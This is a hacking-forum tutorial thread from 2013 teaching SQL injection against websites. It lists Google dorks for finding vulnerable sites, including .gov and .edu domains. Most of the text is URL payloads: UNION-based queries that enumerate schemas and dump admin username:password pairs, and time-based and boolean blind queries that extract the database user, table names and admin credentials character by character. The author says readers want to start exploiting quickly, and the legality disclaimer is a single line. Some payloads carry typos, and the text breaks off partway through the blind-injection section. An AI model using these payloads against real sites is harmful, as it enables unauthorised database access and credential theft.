![]() |
|
SQL injection techniques - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking) +--- Thread: SQL injection techniques (/Thread-SQL-injection-techniques) |
SQL injection techniques - Synchro - 01-24-2013 ![]() SQL Injection tutorial In this tutorial you will understand for those SQL injections: *Google dorks for SQLi *String based SQLi *Time based SQLi *Blind SQLi *Error based SQLi *Double query SQLi *POST SQLi *WAF bypassing This will be very large tutorial so I will post diffrent injections on spoilers. First I want to excuse for my terible grammar if somebody want to fix it to contact with me =) I will recommend if you have life out of the computer to stop with SQL injections a lot of them take a lot of time. I think that it's unless to say that if you inject other sites than your is illegal and I'm not responsible for your actions. LET'S START ! Google Dorks Spoiler:
You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork: Code: inurl:index.php?id= +.comHere is list with SQLi dorks: Code: http://pastebin.com/wUyRb0k8You can add + (domainhere) Here are some examples: Code: inurl: index.php?id= +.com
inurl: index.php?id= +.net
inurl: index.php?id= +.org
inurl: index.php?id= +.cc
inurl: index.php?id= +.ws
inurl: index.php?id= +.edu
inurl: index.php?id= +.govCode: inurl:index.php?id= intext"keyword"I think this is enough for basics of google dorks, since I don't want 1000000000000 defanced websites after publishing this. String based SQLi Spoiler:
This is one of the easiest SQL injections. I won't tolk shits since I know the most of you want to start exploting ASAP so let's continue. The diffrent between string SQL injection and the basic SQL injection is that we don't write -- but we write --+,+--+ or +-- and you add' after the parametar. So I will write for basic injection and add examples for string injection First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example: [/code]http://www.site.com/index.php?id=123' Code: And after you hit enter you should see error message similar to this one:
[code]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1You should find the number of columns we do that by using "order by" statement, I will highly recommend to add -- before each command except ' =D. Delete the ' and write order by and start guessing numbers of columns, its more easy by start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7. Code: http://www.site.com/index.php?id=123 order by 100-- *Error
http://www.site.com/index.php?id=123 order by 10-- *Error
http://www.site.com/index.php?id=123 order by 1-- *no error
http://www.site.com/index.php?id=123 order by 5-- *no error
http://www.site.com/index.php?id=123 order by 7-- *no error
http://www.site.com/index.php?id=123 order by 8-- *error
For string injecition
http://www.site.com/index.php?id=123' order by 100--+ *Error
http://www.site.com/index.php?id=123' order by 10--+ *Error
http://www.site.com/index.php?id=123' order by 1--+ *no error
http://www.site.com/index.php?id=123'order by 5--+ *no error
http://www.site.com/index.php?id=123' order by 7--+ *no error
http://www.site.com/index.php?id=123' order by 8--+ *errorCode: http://www.site.com/index.php?id=-123Code: http://www.site.com/index.php?id=-123 union all select 1,2,3,4,5,6,7--
For string injection
http://www.site.com/index.php?id=-123' union all select 1,2,3,4,5,6,7--+Code: http://www.site.com/index.php?id=123 union all select 1,2,3,4,verion(),6,7--
OR
http://www.site.com/index.php?id=123 union all select 1,2,3,4,@@version,6,7--
For string injection
http://www.site.com/index.php?id=123' union all select 1,2,3,4,verion(),6,7--+
OR
http://www.site.com/index.php?id=123' union all select 1,2,3,4,@@version,6,7--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4,group_concat(),6,7--
For string injection
http://www.site.com/index.php?id=123' union select 1,2,3,4,group_concat(),6,7--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--+Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE. TABLE NAME HERE Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--+Time based SQL injection Spoiler:
Time based SQL injection is very easy to undestand for me, hope that will be the same with you. Let's start. First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look: Integer Code: www.site..com/index.asp?id=123; waitfor delay '00:00:20'--Code: www.site..com/index.asp?id=123'; waitfor delay '00:00:20'--Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) command + waitfor delay '00:00:20'-- Code: www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'--
And for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'--Code: www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=3) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / true
Or for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=3) waitfor delay '00:00:20* return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>82 waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second / true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'--
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>96) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>116) + waitfor delay '00:00:20'-- * wait 20 second /true
[code]
We see that this character is t, so what start with dat and its 8 characters, hmm, Database yeah ! Let's try it.
[code]
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- ** wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--Code: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / false
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / falseCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
For string base
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--Code: www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /trueCode: www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)
For string injection
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)Code: www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /trueBlind SQL Injection Spoiler:
If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to geuss every think again To test website for blind SQL vulnerability we use "and 1=1", "and 1=2 "commands here is how it's done. Code: www.site..com/news.php?id=1 and 1=1 * Page load normal
www.site..com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web pageCode: www.site..com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false
www.site..com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/trueCode: www.site..com/news.php?id=1 and (SELECT 1 from news limit 0,1)=1 * page load normal/true
